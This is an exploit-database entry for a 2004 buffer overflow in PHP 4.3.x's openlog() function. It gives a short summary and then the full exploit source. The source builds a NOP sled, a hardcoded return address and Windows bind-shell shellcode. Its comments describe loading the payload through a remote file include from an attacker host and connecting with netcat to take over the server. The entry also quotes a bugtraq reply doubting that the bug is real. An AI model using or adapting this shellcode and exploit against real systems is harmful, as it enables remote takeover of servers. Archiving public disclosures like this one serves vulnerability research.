PHP v4.3.x exploit by The Warlock [BhQ]

vendor:

PHP

by:

The Warlock [BhQ]

5.5

CVSS

MEDIUM

Buffer overflow in openlog()

CWE

Product Name: PHP

Affected Version From: PHP version 4.3.1

Affected Version To: PHP version 4.3.5

Patch Exists: NO

Related CWE:

CPE: a:php:php:4.3.5

Metasploit:

Other Scripts:

Platforms Tested: Windows 2000 with Apache 2.0.49 and PHP 4.3.5

PHP v4.3.x exploit by The Warlock [BhQ]

This exploit targets PHP version 4.3.x and specifically the openlog() function. It allows an attacker to pass long parameters to openlog(), potentially causing a buffer overflow. This can lead to disruption of PHP or even complete control of the system. The exploit has been tested on Apache 2.0.49 + PHP 4.3.5 on a Windows 2000 SP4 machine. The bug has been reported a long time ago and is still present in version 4.3.5. The changelog of versions up to 4.3.7 does not mention a bugfix for openlog(). The exploit involves sending a malicious request to the vulnerable server, which can result in a shell being obtained. However, it is noted that the impact of this vulnerability on a default production system is uncertain without confirmation from the vendor or original reporter.

Mitigation:

Apply the necessary patches and updates provided by the vendor. It is recommended to upgrade to a newer version of PHP that does not have this vulnerability.

Source

Exploit-DB raw data:

<?
#######################################################################
############################# PUBLIC EXPLOIT #########################
#######################################################################

## PHP v4.3.x exploit by The Warlock [BhQ], http://go.to/biohazardhq ##
################### mail:biohazardhq@yahoo.com ##################
######################################################################
############################ PUBLIC EXPLOIT ##########################
#######################################################################
/* This "Proof of Concept" sploit is only for Win2k SP4 + PHP 4.3.5 on Apache
2.0.49*

Sploit tested with Apache 2.0.49 + PHP 4.3.5 on a Win2K SP4.
bugtraq says local exploit.
This bug is reported a long long time ago for v4.3.1
bugs.php.net does not have any status that refers to this bug while
reported.
The bug is still alive in v4.3.5 and probably newer versions as well,
CHANGELOG of versions to 4.3.7 does not mention the bugfix of openlog();

scenario :
--->
http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt
BOOM....
netcat www.vulnerable.box 65535
Microsoft Windows 2000 [versie 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\Apache Group\Apache2>
--->

Getting a shell is better then parsing commands to the weblog.

mattmurphy@kc.rr.com wrote on bugtraq :
>* Buffer overflow in openlog()
>
>I've tried passing long parameters (and large integers) to openlog(). No
>crashes could be caused by this "exploit". I was unable to demonstrate any
>disruption to PHP via this "vulnerability", let alone complete control.
>Unless the vendor or the original reporter will confirm this with code
>(which was, oddly enough, MISSING from the original advisory), I don't
>believe this "flaw" (if it exists) can do any damage to a default
>production system.
*/

#######################################################################
########################### PUBLIC EXPLOIT ###########################
#######################################################################

// win32 shellcode: bind TCP/65535, size 399, By The Warlock [BhQ].
$gift = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x02\x03";
$gift .= "\x02\x02\x83\xeb\xfc\xe2\xf4\xea\x55\x02\x02\x02\x50\x57\x54\x55";
$gift .= "\x88\x6e\x26\x1a\x88\x47\x3e\x89\x57\x07\x7a\x03\xe9\x89\x48\x1a";
$gift .= "\x88\x58\x22\x03\xe8\xe1\x30\x4b\x88\x36\x89\x03\xed\x33\xfd\xfe";
$gift .= "\x32\xc2\xae\x3a\xe3\x76\x05\xc3\xcc\x0f\x03\xc5\xe8\xf0\x39\x7e";
$gift .= "\x27\x16\x77\xe3\x88\x58\x26\x03\xe8\x64\x89\x0e\x48\x89\x58\x1e";
$gift .= "\x02\xe9\x89\x06\x88\x03\xea\xe9\x01\x33\xc2\x5d\x5d\x5f\x59\xc0";
$gift .= "\x0b\x02\x5c\x68\x33\x5b\x66\x89\x1a\x89\x59\x0e\x88\x59\x1e\x89";
$gift .= "\x18\x89\x59\x0a\x50\x6a\x8c\x4c\x0d\xee\xfd\xd4\x8a\xc5\x83\xee";
$gift .= "\x03\x03\x02\x02\x54\x54\x51\x8b\xe6\xea\x25\x02\x03\x02\x92\x03";
$gift .= "\x03\x02\xb4\x1b\x1b\xe5\xa6\x1b\x73\xeb\xe7\x4b\x85\x4b\xa6\x18";
$gift .= "\x73\xc5\xa6\xaf\x2d\xeb\xdb\x0b\xf6\xaf\xc9\xef\xff\x39\x55\x51";
$gift .= "\x31\x5d\x31\x30\x03\x59\x8f\x49\x23\x53\xfd\xd5\x8a\xdd\x8b\xc1";
$gift .= "\x8e\x77\x16\x68\x04\x5b\x53\x51\xfc\x36\x8d\xfd\x56\x06\x5b\x8b";
$gift .= "\x07\x8c\xe0\xf0\x28\x25\x56\xfd\x34\xfd\x57\x32\x32\xc2\x52\x52";
$gift .= "\x53\x52\x42\x52\x43\x52\xfd\x57\x2f\x8b\xc5\x33\xd8\x51\x51\x6a";
$gift .= "\x01\x02\xfd\xfd\x8a\xe2\x68\x12\x53\x55\xfd\x57\x27\x51\x55\xfd";
$gift .= "\x56\x2a\x51\x56\x54\xfd\x57\x22\x8a\xc5\x6a\x41\x4e\x46\x02\x8b";
$gift .= "\xe0\x85\xf8\x33\xc3\x8f\x7e\x26\xaf\x68\x17\x5b\xf0\xa9\x85\xf8";
$gift .= "\x80\xee\x56\xc4\x47\x26\x12\x46\x65\xc5\x46\x26\x3f\x03\x03\x8b";
$gift .= "\x7f\x26\x4a\x8b\x7f\x26\x4e\x8b\x7f\x26\x52\x8f\x47\x26\x12\x56";
$gift .= "\x53\x53\x53\x53\x42\x53\x4b\x53\x52\x51\x53\xfd\x76\x02\x6a\x70";
$gift .= "\xfd\xb1\x14\xfd\x56\x06\xfd\xd2\x8a\xe4\xfd\x77\x03\x6a\xaf\xdb";
$gift .= "\x06\xcc\xfd\x57\x07\x8b\xc1\x68\xfc\xfd\x34\xfd\xd0\xfd\x77\x02";
$gift .= "\x6b\x7c\xda\xe0\x70\xfd\x57\x06\x32\xd9\x51\xfd\xd3\x02\x02";


$ret = "\xb8\x9e\xe3\x77";
$nop =str_repeat("\x90", 1024);
$boomstring = $nop . $ret . $nop . $gift;
openlog($boomstring, LOG_PID, LOG_DAEMON);
// uncomment openlog(); to enable exploit... - str0ke did it already for ya.
?>

# milw0rm.com [2004-12-28]